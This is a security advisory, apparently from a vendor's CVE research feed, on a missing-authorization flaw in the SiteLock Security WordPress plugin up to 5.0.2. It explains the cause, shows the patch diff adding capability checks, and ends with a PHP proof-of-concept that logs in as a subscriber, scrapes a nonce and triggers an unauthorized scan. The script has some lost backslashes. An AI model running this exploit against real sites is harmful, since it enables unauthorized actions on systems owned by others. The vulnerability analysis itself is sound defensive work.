Atomic Edge analysis of CVE-2026-24532:
The SiteLock Security WordPress plugin, versions up to and including 5.0.2, contains a missing authorization vulnerability. This flaw allows authenticated attackers with subscriber-level permissions or higher to perform administrative actions intended only for users with the ‘manage_options’ capability.
The root cause is the absence of capability checks in three administrative functions. In the file `sitelock/admin/class-sitelock-admin.php`, the `sitelock_scan_enqueue_scripts` function (line 1066) and the `sitelock_scan_callback` AJAX handler (line 1078) lacked authorization controls. In the file `sitelock/includes/api/class-auth-manager.php`, the `handle_auth` function (line 135) also omitted a capability check. These omissions allowed lower-privileged users to trigger security scans and authentication processes.
An attacker can exploit this by sending a crafted AJAX POST request to the WordPress `admin-ajax.php` endpoint. The request must include the action parameter set to `sitelock_scan_callback` and a valid nonce. The nonce is accessible to low-privileged users because the `sitelock_scan_enqueue_scripts` function previously enqueued the script and its localized nonce for all authenticated users. The attacker can also directly access the authentication handler endpoint.
The patch adds a capability check, `current_user_can(‘manage_options’)`, to the three vulnerable functions. Before the patch, any authenticated user could pass the nonce verification and proceed with the action. After the patch, the functions immediately terminate with a 403 error if the user lacks the ‘manage_options’ capability. The patch also prevents the script and nonce from being enqueued for unauthorized users, mitigating nonce leakage.
Successful exploitation allows attackers with subscriber accounts to initiate SiteLock security scans and interact with the plugin’s authentication API. This could lead to unauthorized consumption of API resources, potential disruption of scheduled scans, and exposure of scan results or system information that should be restricted to administrators.
--- a/sitelock/admin/class-sitelock-admin.php
+++ b/sitelock/admin/class-sitelock-admin.php
@@ -1066,6 +1066,10 @@
}
public function sitelock_scan_enqueue_scripts() {
+ // Prevents nonce leaking to unauthorized users by only enqueuing the script for users with manage_options capability
+ if (!current_user_can('manage_options')) {
+ return;
+ }
wp_enqueue_script('sitelock-scan', plugin_dir_url(__FILE__) . 'js/sitelock-scan.js', ['jquery'], '1.0', true);
@@ -1078,6 +1082,10 @@
public function sitelock_scan_callback() {
check_ajax_referer('sitelock_scan_nonce', 'nonce');
+ if (!current_user_can('manage_options')) {
+ wp_send_json_error(['message' => 'Unauthorized'], 403);
+ }
+
$scanType = isset($_POST['scan_type']) ? sanitize_text_field(wp_unslash($_POST['scan_type'])) : ''; // Default to 'patchman' if not provided
$response = $this->api->sites->post_scan_now($scanType);
--- a/sitelock/includes/api/class-auth-manager.php
+++ b/sitelock/includes/api/class-auth-manager.php
@@ -135,6 +135,10 @@
*/
public function handle_auth($external_key = null)
{
+ if (!current_user_can('manage_options')) {
+ wp_die(esc_html__('Unauthorized user.', 'sitelock-wordpress-plugin'), '', array('response' => 403));
+ }
+
// Verify nonce
if (!$external_key && (!isset($_POST['sitelock_license_key_nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['sitelock_license_key_nonce'])), 'sitelock_license_key_action'))) {
set_transient('sitelock_auth_error', 'Nonce verification failed.', 60); // Store error for 60 seconds
--- a/sitelock/sitelock.php
+++ b/sitelock/sitelock.php
@@ -16,7 +16,7 @@
* Plugin Name: SiteLock Security – WP Hardening, Login Security & Malware Scans
* Plugin URI: https://www.sitelock.com/wordpress
* Description: Free, lightweight WordPress security. WP Hardening, login protection and Site Health & on‑demand checks without slowing your site. Setup in minutes.
- * Version: 5.0.2
+ * Version: 5.0.3
* Author: SiteLockSecurity
* Author URI: https://www.sitelock.com
* License: GPLv2 or later
@@ -275,6 +275,7 @@
.notice.notice-warning,
.notice.notice-error {
max-width: 1115px; /* Set your desired max width */
+ margin: 10px 15px 0 10px; /* Set your desired margin */
}
</style>';
}
@@ -315,4 +316,4 @@
*/
function sitelock_log( $level, $title, $message = '', $context = array(), $class = '' ) {
return SiteLock_Logger::instance()->log( $level, $title, $message, $context, $class );
-}
No newline at end of file
+}
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24532 - SiteLock Security <= 5.0.2 - Missing Authorization
<?php
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';
// Step 1: Authenticate as a low-privileged user to obtain cookies and a nonce.
// The vulnerable plugin enqueues the scan script and nonce for all authenticated users.
$login_url = str_replace('/admin-ajax.php', '/wp-login.php', $target_url);
// Create a session to handle cookies.
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Perform login.
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]));
$login_response = curl_exec($ch);
// Step 2: Access a page where the vulnerable script is enqueued to get the nonce.
// The script is enqueued on admin pages. We'll request the main admin page.
$admin_url = str_replace('/admin-ajax.php', '/wp-admin/', $target_url);
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$admin_page = curl_exec($ch);
// Extract the nonce from the localized script data.
// The nonce is typically passed via wp_localize_script as 'sitelock_scan_nonce'.
preg_match('/"sitelock_scan_nonce"s*:s*"([a-f0-9]+)"/', $admin_page, $matches);
$nonce = $matches[1] ?? null;
if (empty($nonce)) {
die('Could not extract nonce. The user may not have access to the admin page where the script is loaded.');
}
// Step 3: Exploit the missing authorization by calling the AJAX handler.
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'sitelock_scan_callback',
'nonce' => $nonce,
'scan_type' => 'patchman' // Example scan type parameter.
]));
$ajax_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 4: Output results.
echo "HTTP Response Code: $http_coden";
echo "Response Body: $ajax_responsen";
if ($http_code == 200 && strpos($ajax_response, 'success') !== false) {
echo "[+] Vulnerability exploited successfully. Unauthorized scan triggered.n";
} else {
echo "[-] Exploit may have failed or the site is patched.n";
}
?>